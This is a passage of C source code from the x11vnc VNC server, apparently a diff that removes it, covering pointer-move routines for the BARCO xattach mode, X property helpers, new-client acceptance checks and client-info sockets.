- int extra_x = -1, extra_y = -1;
- int t1, t2, dt = 40 * 1000;
- int ifneeded = 0;
- char *dir = "none", *flip = "none", *q;
- int pg1, kg1, pg2, kg2;
- char _bcx_res[128];
-
- /* str:[up,down,left,right]+nograbcheck+shift=n+final=x+y+extra_move=x+y+[master_to_slave,slave_to_master,M2S,S2M]+dt=n+retry=n+ifneeded */
-
- if (strstr(str, "up")) {
- dir = "up";
- } else if (strstr(str, "down")) {
- dir = "down";
- } else if (strstr(str, "left")) {
- dir = "left";
- } else if (strstr(str, "right")) {
- dir = "right";
- } else {
- return strdup("FAIL,NO_DIRECTION_SPECIFIED");
- }
-
- if (strstr(str, "master_to_slave") || strstr(str, "M2S")) {
- flip = "M2S";
- } else if (strstr(str, "slave_to_master") || strstr(str, "S2M")) {
- flip = "S2M";
- } else {
- return strdup("FAIL,NO_MODE_CHANGE_SPECIFIED");
- }
-
- if (strstr(str, "nograbcheck")) {
- grab_check = 0;
- }
- if (strstr(str, "ifneeded")) {
- ifneeded = 1;
- }
- q = strstr(str, "shift=");
- if (q && sscanf(q, "shift=%d", &t1) == 1) {
- shift = t1;
- }
- q = strstr(str, "final=");
- if (q && sscanf(q, "final=%d+%d", &t1, &t2) == 2) {
- final_x = t1;
- final_y = t2;
- }
- q = strstr(str, "extra_move=");
- if (q && sscanf(q, "extra_move=%d+%d", &t1, &t2) == 2) {
- extra_x = t1;
- extra_y = t2;
- }
- q = strstr(str, "dt=");
- if (q && sscanf(q, "dt=%d", &t1) == 1) {
- dt = t1 * 1000;
- }
-
- if (grab_check) {
- int read_init = 0;
-
- if (*pg_init >=0 && *kg_init >=0) {
- pg1 = *pg_init;
- kg1 = *kg_init;
- read_init = 1;
- } else {
- grab_state(&pg1, &kg1);
- read_init = 0;
- }
-
- if (!strcmp(flip, "M2S")) {
- if (ifneeded && pg1 == 1 && kg1 == 1) {
- rfbLog("bcx_xattach: M2S grab state is already what we want, skipping moves: %d,%d\n", pg1, kg1);
- return strdup("DONE,GRAB_OK");
- }
- } else if (!strcmp(flip, "S2M")) {
- if (ifneeded && pg1 == 0 && kg1 == 0) {
- rfbLog("bcx_xattach: S2M grab state is already what we want, skipping moves: %d,%d\n", pg1, kg1);
- return strdup("DONE,GRAB_OK");
- }
- }
-
- if (read_init) {
- ;
- } else if (!strcmp(flip, "M2S")) {
- if (pg1 != 0 || kg1 != 0) {
- rfbLog("bcx_xattach: M2S init grab state incorrect: %d,%d\n", pg1, kg1);
- usleep(2*dt);
- grab_state(&pg1, &kg1);
- rfbLog("bcx_xattach: slept and retried, grab is now: %d,%d\n", pg1, kg1);
- }
- } else if (!strcmp(flip, "S2M")) {
- if (pg1 != 1 || kg1 != 1) {
- rfbLog("bcx_xattach: S2M init grab state incorrect: %d,%d\n", pg1, kg1);
- usleep(2*dt);
- grab_state(&pg1, &kg1);
- rfbLog("bcx_xattach: slept and retried, grab is now: %d,%d\n", pg1, kg1);
- }
- }
- if (!read_init) {
- *pg_init = pg1;
- *kg_init = kg1;
- }
- }
-
- /*
- * A guide for BARCO xattach:
- *
- * For -cursor_rule 'b(0):%:t(1),t(1):%:b(0)'
- * down+M2S up+S2M
- * For -cursor_rule 'r(0):%:l(1),l(1):%:r(0)'
- * right+M2S left+S2M
- *
- * For -cursor_rule 't(0):%:b(1),b(1):%:t(0)'
- * up+M2S down+S2M
- * For -cursor_rule 'l(0):%:r(1),r(1):%:l(0)'
- * left+M2S right+S2M
- * For -cursor_rule 'l(0):%:r(1),r(1):%:l(0),r(0):%:l(1),l(1):%:r(0)'
- * left+M2S right+S2M (we used to do both 'right')
- */
-
- if (!strcmp(flip, "M2S")) {
- if (!strcmp(dir, "up")) {
- pmove(shift, 0); /* go to top edge */
- usleep(dt);
- pmove(shift+1, 0); /* move 1 for MotionNotify */
- } else if (!strcmp(dir, "down")) {
- pmove(shift, dpy_y-1); /* go to bottom edge */
- usleep(dt);
- pmove(shift+1, dpy_y-1); /* move 1 for MotionNotify */
- } else if (!strcmp(dir, "left")) {
- pmove(0, shift); /* go to left edge */
- usleep(dt);
- pmove(0, shift+1); /* move 1 for MotionNotify */
- } else if (!strcmp(dir, "right")) {
- pmove(dpy_x-1, shift); /* go to right edge */
- usleep(dt);
- pmove(dpy_x-1, shift+1); /* move 1 for Motion Notify */
- }
- } else if (!strcmp(flip, "S2M")) {
- int dts = dt/2;
- if (!strcmp(dir, "up")) {
- pmove(shift, 2); /* Approach top edge in 3 moves. 1st move */
- usleep(dts);
- pmove(shift, 1); /* 2nd move */
- usleep(dts);
- pmove(shift, 0); /* 3rd move */
- usleep(dts);
- pmove(shift+1, 0); /* move 1 for MotionNotify */
- usleep(dts);
- pmove(shift+1, dpy_y-2); /* go to height-2 for extra pixel (slave y now == 0?) */
- usleep(dts);
- pmove(shift, dpy_y-2); /* move 1 for MotionNotify */
- usleep(dts);
- pmove(shift, 1); /* go to 1 to be sure slave y == 0 */
- usleep(dts);
- pmove(shift+1, 1); /* move 1 for MotionNotify */
- } else if (!strcmp(dir, "down")) {
- pmove(shift, dpy_y-3); /* Approach bottom edge in 3 moves. 1st move */
- usleep(dts);
- pmove(shift, dpy_y-2); /* 2nd move */
- usleep(dts);
- pmove(shift, dpy_y-1); /* 3rd move */
- usleep(dts);
- pmove(shift+1, dpy_y-1); /* move 1 for MotionNotify */
- usleep(dts);
- pmove(shift+1, 1); /* go to 1 for extra pixel (slave y now == dpy_y-1?) */
- usleep(dts);
- pmove(shift, 1); /* move 1 for MotionNotify */
- usleep(dts);
- pmove(shift, dpy_y-2); /* go to dpy_y-2 to be sure slave y == dpy_y-1 */
- usleep(dts);
- pmove(shift+1, dpy_y-2); /* move 1 for MotionNotify */
- } else if (!strcmp(dir, "left")) {
- pmove(2, shift); /* Approach left edge in 3 moves. 1st move */
- usleep(dts);
- pmove(1, shift); /* 2nd move */
- usleep(dts);
- pmove(0, shift); /* 3rd move */
- usleep(dts);
- pmove(0, shift+1); /* move 1 for MotionNotify */
- usleep(dts);
- pmove(dpy_x-2, shift+1); /* go to width-2 for extra pixel (slave x now == 0?) */
- usleep(dts);
- pmove(dpy_x-2, shift); /* move 1 for MotionNotify */
- usleep(dts);
- pmove(1, shift); /* go to 1 to be sure slave x == 0 */
- usleep(dts);
- pmove(1, shift+1); /* move 1 for MotionNotify */
- } else if (!strcmp(dir, "right")) {
- pmove(dpy_x-3, shift); /* Approach right edge in 3 moves. 1st move */
- usleep(dts);
- pmove(dpy_x-2, shift); /* 2nd move */
- usleep(dts);
- pmove(dpy_x-1, shift); /* 3rd move */
- usleep(dts);
- pmove(dpy_x-1, shift+1); /* move 1 for MotionNotify */
- usleep(dts);
- pmove(1, shift+1); /* go to 1 to extra pixel (slave x now == dpy_x-1?) */
- usleep(dts);
- pmove(1, shift); /* move 1 for MotionNotify */
- usleep(dts);
- pmove(dpy_x-2, shift); /* go to dpy_x-2 to be sure slave x == dpy_x-1 */
- usleep(dts);
- pmove(dpy_x-2, shift+1); /* move 1 for MotionNotify */
- }
- }
-
- usleep(dt);
- pmove(final_x, final_y);
- usleep(dt);
-
- if (extra_x >= 0 && extra_y >= 0) {
- pmove(extra_x, extra_y);
- usleep(dt);
- }
-
- strcpy(_bcx_res, "DONE");
-
- if (grab_check) {
- char st[64];
-
- usleep(3*dt);
- grab_state(&pg2, &kg2);
-
- if (!strcmp(flip, "M2S")) {
- if (pg2 != 1 || kg2 != 1) {
- rfbLog("bcx_xattach: M2S fini grab state incorrect: %d,%d\n", pg2, kg2);
- usleep(2*dt);
- grab_state(&pg2, &kg2);
- rfbLog("bcx_xattach: slept and retried, grab is now: %d,%d\n", pg2, kg2);
- }
- } else if (!strcmp(flip, "S2M")) {
- if (pg2 != 0 || kg2 != 0) {
- rfbLog("bcx_xattach: S2M fini grab state incorrect: %d,%d\n", pg2, kg2);
- usleep(2*dt);
- grab_state(&pg2, &kg2);
- rfbLog("bcx_xattach: slept and retried, grab is now: %d,%d\n", pg2, kg2);
- }
- }
-
- sprintf(st, ":%d,%d-%d,%d", pg1, kg1, pg2, kg2);
-
- if (getenv("GRAB_CHECK_LOOP")) {
- int i, n = atoi(getenv("GRAB_CHECK_LOOP"));
- rfbLog("grab st: %s\n", st);
- for (i=0; i < n; i++) {
- usleep(dt);
- grab_state(&pg2, &kg2);
- sprintf(st, ":%d,%d-%d,%d", pg1, kg1, pg2, kg2);
- rfbLog("grab st: %s\n", st);
- }
- }
-
- if (!strcmp(flip, "M2S")) {
- if (pg1 == 0 && kg1 == 0 && pg2 == 1 && kg2 == 1) {
- strcat(_bcx_res, ",GRAB_OK");
- } else {
- rfbLog("bcx_xattach: M2S grab state incorrect: %d,%d -> %d,%d\n", pg1, kg1, pg2, kg2);
- strcat(_bcx_res, ",GRAB_FAIL");
- if (pg2 == 1 && kg2 == 1) {
- strcat(_bcx_res, "_INIT");
- } else if (pg1 == 0 && kg1 == 0) {
- strcat(_bcx_res, "_FINAL");
- }
- strcat(_bcx_res, st);
- }
- } else if (!strcmp(flip, "S2M")) {
- if (pg1 == 1 && kg1 == 1 && pg2 == 0 && kg2 == 0) {
- strcat(_bcx_res, ",GRAB_OK");
- } else {
- rfbLog("bcx_xattach: S2M grab state incorrect: %d,%d -> %d,%d\n", pg1, kg1, pg2, kg2);
- strcat(_bcx_res, ",GRAB_FAIL");
- if (pg2 == 0 && kg2 == 0) {
- strcat(_bcx_res, "_INIT");
- } else if (pg1 == 1 && kg1 == 1) {
- strcat(_bcx_res, "_FINAL");
- }
- strcat(_bcx_res, st);
- }
- }
- }
- return strdup(_bcx_res);
-}
-
-int set_xprop(char *prop, Window win, char *value) {
- int rc = -1;
-#if !NO_X11
- Atom aprop;
-
- RAWFB_RET(rc)
-
- if (!prop || !value) {
- return rc;
- }
- if (win == None) {
- win = rootwin;
- }
- aprop = XInternAtom(dpy, prop, False);
- if (aprop == None) {
- return rc;
- }
- rc = XChangeProperty(dpy, win, aprop, XA_STRING, 8,
- PropModeReplace, (unsigned char *)value, strlen(value));
- return rc;
-#else
- RAWFB_RET(rc)
- if (!prop || !win || !value) {}
- return rc;
-#endif /* NO_X11 */
-}
-
-char *get_xprop(char *prop, Window win) {
-#if NO_X11
- RAWFB_RET(NULL)
- if (!prop || !win) {}
- return NULL;
-#else
- Atom type, aprop;
- int format, slen, dlen;
- unsigned long nitems = 0, bytes_after = 0;
- unsigned char* data = NULL;
- char get_str[VNC_CONNECT_MAX+1];
-
- RAWFB_RET(NULL)
-
- if (prop == NULL || !strcmp(prop, "")) {
- return NULL;
- }
- if (win == None) {
- win = rootwin;
- }
- aprop = XInternAtom(dpy, prop, True);
- if (aprop == None) {
- return NULL;
- }
-
- get_str[0] = '\0';
- slen = 0;
-
- /* read the property value into get_str: */
- do {
- if (XGetWindowProperty(dpy, win, aprop, nitems/4,
- VNC_CONNECT_MAX/16, False, AnyPropertyType, &type,
- &format, &nitems, &bytes_after, &data) == Success) {
-
- dlen = nitems * (format/8);
- if (slen + dlen > VNC_CONNECT_MAX) {
- /* too big */
- rfbLog("get_xprop: warning: truncating large '%s'"
- " string > %d bytes.\n", prop, VNC_CONNECT_MAX);
- XFree_wr(data);
- break;
- }
- memcpy(get_str+slen, data, dlen);
- slen += dlen;
- get_str[slen] = '\0';
- XFree_wr(data);
- }
- } while (bytes_after > 0);
-
- get_str[VNC_CONNECT_MAX] = '\0';
- rfbLog("get_prop: read: '%s' = '%s'\n", prop, get_str);
-
- return strdup(get_str);
-#endif /* NO_X11 */
-}
-
-static char _win_fmt[1000];
-
-static char *win_fmt(Window win, XWindowAttributes a) {
- memset(_win_fmt, 0, sizeof(_win_fmt));
- sprintf(_win_fmt, "0x%lx:%dx%dx%d+%d+%d-map:%d-bw:%d-cl:%d-vis:%d-bs:%d/%d",
- win, a.width, a.height, a.depth, a.x, a.y, a.map_state, a.border_width, a.class,
- (int) ((a.visual)->visualid), a.backing_store, a.save_under);
- return _win_fmt;
-}
-
-char *wininfo(Window win, int show_children) {
-#if NO_X11
- RAWFB_RET(NULL)
- if (!win || !show_children) {}
- return NULL;
-#else
- XWindowAttributes attr;
- int n, size = X11VNC_REMOTE_MAX;
- char get_str[X11VNC_REMOTE_MAX+1];
- unsigned int nchildren;
- Window rr, pr, *children;
-
- RAWFB_RET(NULL)
-
- if (win == None) {
- return strdup("None");
- }
-
- X_LOCK;
- if (!valid_window(win, &attr, 1)) {
- X_UNLOCK;
- return strdup("Invalid");
- }
- get_str[0] = '\0';
-
- if (show_children) {
- XQueryTree_wr(dpy, win, &rr, &pr, &children, &nchildren);
- } else {
- nchildren = 1;
- children = (Window *) calloc(2 * sizeof(Window), 1);
- children[0] = win;
- }
- for (n=0; n < (int) nchildren; n++) {
- char tmp[32];
- char *str = "Invalid";
- Window w = children[n];
- if (valid_window(w, &attr, 1)) {
- if (!show_children) {
- str = win_fmt(w, attr);
- } else {
- sprintf(tmp, "0x%lx", w);
- str = tmp;
- }
- }
- if ((int) (strlen(get_str) + 1 + strlen(str)) >= size) {
- break;
- }
- if (n > 0) {
- strcat(get_str, ",");
- }
- strcat(get_str, str);
- }
- get_str[size] = '\0';
- if (!show_children) {
- free(children);
- } else if (nchildren) {
- XFree_wr(children);
- }
- rfbLog("wininfo computed: %s\n", get_str);
- X_UNLOCK;
-
- return strdup(get_str);
-#endif /* NO_X11 */
-}
-
-/*
- * check if client_connect has been set, if so make the reverse connections.
- */
-static void send_client_connect(void) {
- if (client_connect != NULL) {
- char *str = client_connect;
- if (strstr(str, "cmd=") == str || strstr(str, "qry=") == str) {
- process_remote_cmd(client_connect, 0);
- } else if (strstr(str, "ans=") == str
- || strstr(str, "aro=") == str) {
- ;
- } else if (strstr(str, "ack=") == str) {
- ;
- } else {
- reverse_connect(client_connect);
- }
- free(client_connect);
- client_connect = NULL;
- }
-}
-
-/*
- * monitor the various input methods
- */
-void check_connect_inputs(void) {
-
- if (unixpw_in_progress) return;
-
- /* flush any already set: */
- send_client_connect();
-
- /* connect file: */
- if (client_connect_file != NULL) {
- check_connect_file(client_connect_file);
- }
- send_client_connect();
-
- /* VNC_CONNECT property (vncconnect program) */
- if (vnc_connect && *vnc_connect_str != '\0') {
- client_connect = strdup(vnc_connect_str);
- vnc_connect_str[0] = '\0';
- }
- send_client_connect();
-
- /* X11VNC_REMOTE property */
- if (vnc_connect && *x11vnc_remote_str != '\0') {
- client_connect = strdup(x11vnc_remote_str);
- x11vnc_remote_str[0] = '\0';
- }
- send_client_connect();
-}
-
-void check_gui_inputs(void) {
- int i, gnmax = 0, n = 0, nfds;
- int socks[ICON_MODE_SOCKS];
- fd_set fds;
- struct timeval tv;
- char buf[X11VNC_REMOTE_MAX+1];
- ssize_t nbytes;
-
- if (unixpw_in_progress) return;
-
- for (i=0; i<ICON_MODE_SOCKS; i++) {
- if (icon_mode_socks[i] >= 0) {
- socks[n++] = i;
- if (icon_mode_socks[i] > gnmax) {
- gnmax = icon_mode_socks[i];
- }
- }
- }
-
- if (! n) {
- return;
- }
-
- FD_ZERO(&fds);
- for (i=0; i<n; i++) {
- FD_SET(icon_mode_socks[socks[i]], &fds);
- }
- tv.tv_sec = 0;
- tv.tv_usec = 0;
-
- nfds = select(gnmax+1, &fds, NULL, NULL, &tv);
- if (nfds <= 0) {
- return;
- }
-
- for (i=0; i<n; i++) {
- int k, fd = icon_mode_socks[socks[i]];
- char *p;
- char **list;
- int lind;
-
- if (! FD_ISSET(fd, &fds)) {
- continue;
- }
- for (k=0; k<=X11VNC_REMOTE_MAX; k++) {
- buf[k] = '\0';
- }
- nbytes = read(fd, buf, X11VNC_REMOTE_MAX);
- if (nbytes <= 0) {
- close(fd);
- icon_mode_socks[socks[i]] = -1;
- continue;
- }
-
- list = (char **) calloc((strlen(buf)+2) * sizeof(char *), 1);
-
- lind = 0;
- p = strtok(buf, "\r\n");
- while (p) {
- list[lind++] = strdup(p);
- p = strtok(NULL, "\r\n");
- }
-
- lind = 0;
- while (list[lind] != NULL) {
- p = list[lind++];
- if (strstr(p, "cmd=") == p ||
- strstr(p, "qry=") == p) {
- char *str = process_remote_cmd(p, 1);
- if (! str) {
- str = strdup("");
- }
- nbytes = write(fd, str, strlen(str));
- write(fd, "\n", 1);
- free(str);
- if (nbytes < 0) {
- close(fd);
- icon_mode_socks[socks[i]] = -1;
- break;
- }
- }
- }
-
- lind = 0;
- while (list[lind] != NULL) {
- p = list[lind++];
- if (p) free(p);
- }
- free(list);
- }
-}
-
-rfbClientPtr create_new_client(int sock, int start_thread) {
- rfbClientPtr cl;
-
- if (!screen) {
- return NULL;
- }
-
- cl = rfbNewClient(screen, sock);
-
- if (cl == NULL) {
- return NULL;
- }
- if (use_threads) {
- cl->onHold = FALSE;
- if (start_thread) {
- rfbStartOnHoldClient(cl);
- }
- }
- return cl;
-}
-
-static int turn_off_truecolor = 0;
-
-static void turn_off_truecolor_ad(rfbClientPtr client) {
- if (client) {}
- if (turn_off_truecolor) {
- rfbLog("turning off truecolor advertising.\n");
- /* mutex */
- screen->serverFormat.trueColour = FALSE;
- screen->displayHook = NULL;
- screen->serverFormat.redShift = 0;
- screen->serverFormat.greenShift = 0;
- screen->serverFormat.blueShift = 0;
- screen->serverFormat.redMax = 0;
- screen->serverFormat.greenMax = 0;
- screen->serverFormat.blueMax = 0;
- turn_off_truecolor = 0;
- }
-}
-
-/*
- * some overrides for the local console text chat.
- * could be useful in general for local helpers.
- */
-
-rfbBool password_check_chat_helper(rfbClientPtr cl, const char* response, int len) {
- if (response || len) {}
- if (cl != chat_window_client) {
- rfbLog("invalid client during chat_helper login\n");
- return FALSE;
- } else {
- if (!cl->host) {
- rfbLog("empty cl->host during chat_helper login\n");
- return FALSE;
- }
- if (strcmp(cl->host, "127.0.0.1")) {
- rfbLog("invalid cl->host during chat_helper login: %s\n", cl->host);
- return FALSE;
- }
- rfbLog("chat_helper login accepted\n");
- return TRUE;
- }
-}
-
-enum rfbNewClientAction new_client_chat_helper(rfbClientPtr client) {
- if (client) {}
- client->clientGoneHook = client_gone_chat_helper;
- rfbLog("new chat helper\n");
- return(RFB_CLIENT_ACCEPT);
-}
-
-void client_gone_chat_helper(rfbClientPtr client) {
- if (client) {}
- rfbLog("finished chat helper\n");
- chat_window_client = NULL;
-}
-
-void client_set_net(rfbClientPtr client) {
- ClientData *cd;
- if (client == NULL) {
- return;
- }
- cd = (ClientData *) client->clientData;
- if (cd == NULL) {
- return;
- }
- if (cd->client_port < 0) {
- double dt = dnow();
- cd->client_port = get_remote_port(client->sock);
- cd->server_port = get_local_port(client->sock);
- cd->server_ip = get_local_host(client->sock);
- cd->hostname = ip2host(client->host);
- rfbLog("client_set_net: %s %.4f\n", client->host, dnow() - dt);
- }
-}
-/*
- * libvncserver callback for when a new client connects
- */
-enum rfbNewClientAction new_client(rfbClientPtr client) {
- ClientData *cd;
-
- CLIENT_LOCK;
-
- last_event = last_input = time(NULL);
-
- latest_client = client;
-
- if (inetd) {
- /*
- * Set this so we exit as soon as connection closes,
- * otherwise client_gone is only called after RFB_CLIENT_ACCEPT
- */
- if (inetd_client == NULL) {
- inetd_client = client;
- client->clientGoneHook = client_gone;
- }
- }
-
- clients_served++;
-
- if (use_openssl || use_stunnel) {
- if (! ssl_initialized) {
- rfbLog("denying additional client: %s ssl not setup"
- " yet.\n", client->host);
- CLIENT_UNLOCK;
- return(RFB_CLIENT_REFUSE);
- }
- }
- if (unixpw_in_progress) {
- rfbLog("denying additional client: %s during -unixpw login.\n",
- client->host);
- CLIENT_UNLOCK;
- return(RFB_CLIENT_REFUSE);
- }
- if (connect_once) {
- if (screen->dontDisconnect && screen->neverShared) {
- if (! shared && accepted_client) {
- rfbLog("denying additional client: %s:%d\n",
- client->host, get_remote_port(client->sock));
- CLIENT_UNLOCK;
- return(RFB_CLIENT_REFUSE);
- }
- }
- }
-
- if (ipv6_client_ip_str != NULL) {
- rfbLog("renaming client->host from '%s' to '%s'\n",
- client->host ? client->host : "", ipv6_client_ip_str);
- if (client->host) {
- free(client->host);
- }
- client->host = strdup(ipv6_client_ip_str);
- }
-
- if (! check_access(client->host)) {
- rfbLog("denying client: %s does not match %s\n", client->host,
- allow_list ? allow_list : "(null)" );
- CLIENT_UNLOCK;
- return(RFB_CLIENT_REFUSE);
- }
-
- client->clientData = (void *) calloc(sizeof(ClientData), 1);
- cd = (ClientData *) client->clientData;
-
- /* see client_set_net() we delay the DNS lookups during handshake */
- cd->client_port = -1;
- cd->username = strdup("");
- cd->unixname = strdup("");
-
- cd->input[0] = '-';
- cd->login_viewonly = -1;
- cd->login_time = time(NULL);
- cd->ssl_helper_pid = 0;
-
- if (use_openssl && openssl_last_helper_pid) {
- cd->ssl_helper_pid = openssl_last_helper_pid;
- openssl_last_helper_pid = 0;
- }
-
- if (! accept_client(client)) {
- rfbLog("denying client: %s local user rejected connection.\n",
- client->host);
- rfbLog("denying client: accept_cmd=\"%s\"\n",
- accept_cmd ? accept_cmd : "(null)" );
-
- free_client_data(client);
-
- CLIENT_UNLOCK;
- return(RFB_CLIENT_REFUSE);
- }
-
- /* We will RFB_CLIENT_ACCEPT or RFB_CLIENT_ON_HOLD from here on. */
-
- if (passwdfile) {
- if (strstr(passwdfile, "read:") == passwdfile ||
- strstr(passwdfile, "cmd:") == passwdfile) {
- if (read_passwds(passwdfile)) {
- install_passwds();
- } else {
- rfbLog("problem reading: %s\n", passwdfile);
- clean_up_exit(1);
- }
- } else if (strstr(passwdfile, "custom:") == passwdfile) {
- if (screen) {
- /* mutex */
- screen->passwordCheck = custom_passwd_check;
- }
- }
- }
-
- cd->uid = clients_served;
-
- client->clientGoneHook = client_gone;
-
- if (client_count) {
- speeds_net_rate_measured = 0;
- speeds_net_latency_measured = 0;
- }
- client_count++;
-
- last_keyboard_input = last_pointer_input = time(NULL);
-
- if (no_autorepeat && client_count == 1 && ! view_only) {
- /*
- * first client, turn off X server autorepeat
- * XXX handle dynamic change of view_only and per-client.
- */
- autorepeat(0, 0);
- }
-#ifdef MACOSX
- if (macosx_console && client_count == 1) {
- macosxCG_refresh_callback_on();
- }
-#endif
- if (use_solid_bg && client_count == 1) {
- solid_bg(0);
- }
-
- if (pad_geometry) {
- install_padded_fb(pad_geometry);
- }
-
- cd->timer = last_new_client = dnow();
- cd->send_cmp_rate = 0.0;
- cd->send_raw_rate = 0.0;
- cd->latency = 0.0;
- cd->cmp_bytes_sent = 0;
- cd->raw_bytes_sent = 0;
-
- accepted_client++;
- rfbLog("incr accepted_client=%d for %s:%d sock=%d\n", accepted_client,
- client->host, get_remote_port(client->sock), client->sock);
- last_client = time(NULL);
-
- if (ncache) {
- check_ncache(1, 0);
- }
-
- if (advertise_truecolor && indexed_color) {
- int rs = 0, gs = 2, bs = 4;
- int rm = 3, gm = 3, bm = 3;
- if (bpp >= 24) {
- rs = 0, gs = 8, bs = 16;
- rm = 255, gm = 255, bm = 255;
- } else if (bpp >= 16) {
- rs = 0, gs = 5, bs = 10;
- rm = 31, gm = 31, bm = 31;
- }
- rfbLog("advertising truecolor.\n");
- if (getenv("ADVERT_BMSHIFT")) {
- bm--;
- }
-
- if (use_threads) LOCK(client->updateMutex);
-
- client->format.trueColour = TRUE;
- client->format.redShift = rs;
- client->format.greenShift = gs;
- client->format.blueShift = bs;
- client->format.redMax = rm;
- client->format.greenMax = gm;
- client->format.blueMax = bm;
-
- if (use_threads) UNLOCK(client->updateMutex);
-
- rfbSetTranslateFunction(client);
-
- /* mutex */
- screen->serverFormat.trueColour = TRUE;
- screen->serverFormat.redShift = rs;
- screen->serverFormat.greenShift = gs;
- screen->serverFormat.blueShift = bs;
- screen->serverFormat.redMax = rm;
- screen->serverFormat.greenMax = gm;
- screen->serverFormat.blueMax = bm;
- screen->displayHook = turn_off_truecolor_ad;
-
- turn_off_truecolor = 1;
- }
-
- if (unixpw) {
- unixpw_in_progress = 1;
- unixpw_client = client;
- unixpw_login_viewonly = 0;
-
- unixpw_file_xfer_save = screen->permitFileTransfer;
- screen->permitFileTransfer = FALSE;
- unixpw_tightvnc_xfer_save = tightfilexfer;
- tightfilexfer = 0;
-#ifdef LIBVNCSERVER_WITH_TIGHTVNC_FILETRANSFER
- rfbLog("rfbUnregisterTightVNCFileTransferExtension: 1\n");
- rfbUnregisterTightVNCFileTransferExtension();
-#endif
-
- if (client->viewOnly) {
- unixpw_login_viewonly = 1;
- client->viewOnly = FALSE;
- }
- unixpw_last_try_time = time(NULL) + 10;
-
- unixpw_screen(1);
- unixpw_keystroke(0, 0, 1);
-
- if (!unixpw_in_rfbPE) {
- rfbLog("new client: %s in non-unixpw_in_rfbPE.\n",
- client->host);
- }
- CLIENT_UNLOCK;
- if (!use_threads) {
- /* always put client on hold even if unixpw_in_rfbPE is true */
- return(RFB_CLIENT_ON_HOLD);
- } else {
- /* unixpw threads is still in testing mode, disabled by default. See UNIXPW_THREADS */
- return(RFB_CLIENT_ACCEPT);
- }
- }
-
- CLIENT_UNLOCK;
- return(RFB_CLIENT_ACCEPT);
-}
-
-void start_client_info_sock(char *host_port_cookie) {
- char *host = NULL, *cookie = NULL, *p;
- char *str = strdup(host_port_cookie);
- int i, port, sock, next = -1;
- static time_t start_time[ICON_MODE_SOCKS];
- time_t oldest = 0;
- int db = 0;
-
- port = -1;
-
- for (i = 0; i < ICON_MODE_SOCKS; i++) {
- if (icon_mode_socks[i] < 0) {
- next = i;
- break;
- }
- if (oldest == 0 || start_time[i] < oldest) {
- next = i;
- oldest = start_time[i];
- }
- }
-
- p = strtok(str, ":");
- i = 0;
- while (p) {
- if (i == 0) {
- host = strdup(p);
- } else if (i == 1) {
- port = atoi(p);
- } else if (i == 2) {
- cookie = strdup(p);
- }
- i++;
- p = strtok(NULL, ":");
- }
- free(str);
-
- if (db) fprintf(stderr, "%s/%d/%s next=%d\n", host, port, cookie, next);
-
- if (host && port && cookie) {
- if (*host == '\0') {
- free(host);
- host = strdup("localhost");
- }
- sock = connect_tcp(host, port);
- if (sock < 0) {
- usleep(200 * 1000);
- sock = connect_tcp(host, port);
- }
- if (sock >= 0) {
- char *lst = list_clients();
- icon_mode_socks[next] = sock;
- start_time[next] = time(NULL);
- write(sock, "COOKIE:", strlen("COOKIE:"));
- write(sock, cookie, strlen(cookie));
- write(sock, "\n", strlen("\n"));
- write(sock, "none\n", strlen("none\n"));
- write(sock, "none\n", strlen("none\n"));
- write(sock, lst, strlen(lst));
- write(sock, "\n", strlen("\n"));
- if (db) {
- fprintf(stderr, "list: %s\n", lst);
- }
- free(lst);
- rfbLog("client_info_sock to: %s:%d\n", host, port);
- } else {
- rfbLog("failed client_info_sock: %s:%d\n", host, port);
- }
- } else {
- rfbLog("malformed client_info_sock: %s\n", host_port_cookie);
- }
-
- if (host) free(host);
- if (cookie) free(cookie);
-}
-
-void send_client_info(char *str) {
- int i;
- static char *pstr = NULL;
- static int len = 128;
-
- if (!str || strlen(str) == 0) {
- return;
- }
-
- if (!pstr) {
- pstr = (char *)malloc(len);
- }
- if (strlen(str) + 2 > (size_t) len) {
- free(pstr);
- len *= 2;
- pstr = (char *)malloc(len);
- }
- strcpy(pstr, str);
- strcat(pstr, "\n");
-
- if (icon_mode_fh) {
- if (0) fprintf(icon_mode_fh, "\n");
- fprintf(icon_mode_fh, "%s", pstr);
- fflush(icon_mode_fh);
- }
-
- for (i=0; i<ICON_MODE_SOCKS; i++) {
- int len, n, sock = icon_mode_socks[i];
- char *buf = pstr;
-
- if (sock < 0) {
- continue;
- }
-
- len = strlen(pstr);
- while (len > 0) {
- if (0) write(sock, "\n", 1);
- n = write(sock, buf, len);
- if (n > 0) {
- buf += n;
- len -= n;
- continue;
- }
-
- if (n < 0 && errno == EINTR) {
- continue;
- }
- close(sock);
- icon_mode_socks[i] = -1;
- break;
- }
- }
-}
-
-void adjust_grabs(int grab, int quiet) {
- RAWFB_RET_VOID
-#if NO_X11
- if (!grab || !quiet) {}
- return;
-#else
- /* n.b. caller decides to X_LOCK or not. */
- if (grab) {
- if (grab_kbd) {
- if (! quiet) {
- rfbLog("grabbing keyboard with XGrabKeyboard\n");
- }
- XGrabKeyboard(dpy, window, False, GrabModeAsync,
- GrabModeAsync, CurrentTime);
- }
- if (grab_ptr) {
- if (! quiet) {
- rfbLog("grabbing pointer with XGrabPointer\n");
- }
- XGrabPointer(dpy, window, False, 0, GrabModeAsync,
- GrabModeAsync, None, None, CurrentTime);
- }
- } else {
- if (grab_kbd) {
- if (! quiet) {
- rfbLog("ungrabbing keyboard with XUngrabKeyboard\n");
- }
- XUngrabKeyboard(dpy, CurrentTime);
- }
- if (grab_ptr) {
- if (! quiet) {
- rfbLog("ungrabbing pointer with XUngrabPointer\n");
- }
- XUngrabPointer(dpy, CurrentTime);
- }
- }
-#endif /* NO_X11 */
-}
-
-void check_new_clients(void) {
- static int last_count = -1;
- rfbClientIteratorPtr iter;
- rfbClientPtr cl;
- int i, send_info = 0;
- int run_after_accept = 0;
-
- if (unixpw_in_progress) {
- static double lping = 0.0;
- if (lping < dnow() + 5) {
- mark_rect_as_modified(0, 0, 1, 1, 1);
- lping = dnow();
- }
- if (unixpw_client && unixpw_client->viewOnly) {
- unixpw_login_viewonly = 1;
- unixpw_client->viewOnly = FALSE;
- }
- if (time(NULL) > unixpw_last_try_time + 45) {
- rfbLog("unixpw_deny: timed out waiting for reply.\n");
- unixpw_deny();
- }
- return;
- }
-
- if (grab_always) {
- ;
- } else if (grab_kbd || grab_ptr) {
- static double last_force = 0.0;
- if (client_count != last_count || dnow() > last_force + 0.25) {
- int q = (client_count == last_count);
- last_force = dnow();
- X_LOCK;
- if (client_count) {
- adjust_grabs(1, q);
- } else {
- adjust_grabs(0, q);
- }
- X_UNLOCK;
- }
- }
-
- if (last_count == -1) {
- last_count = 0;
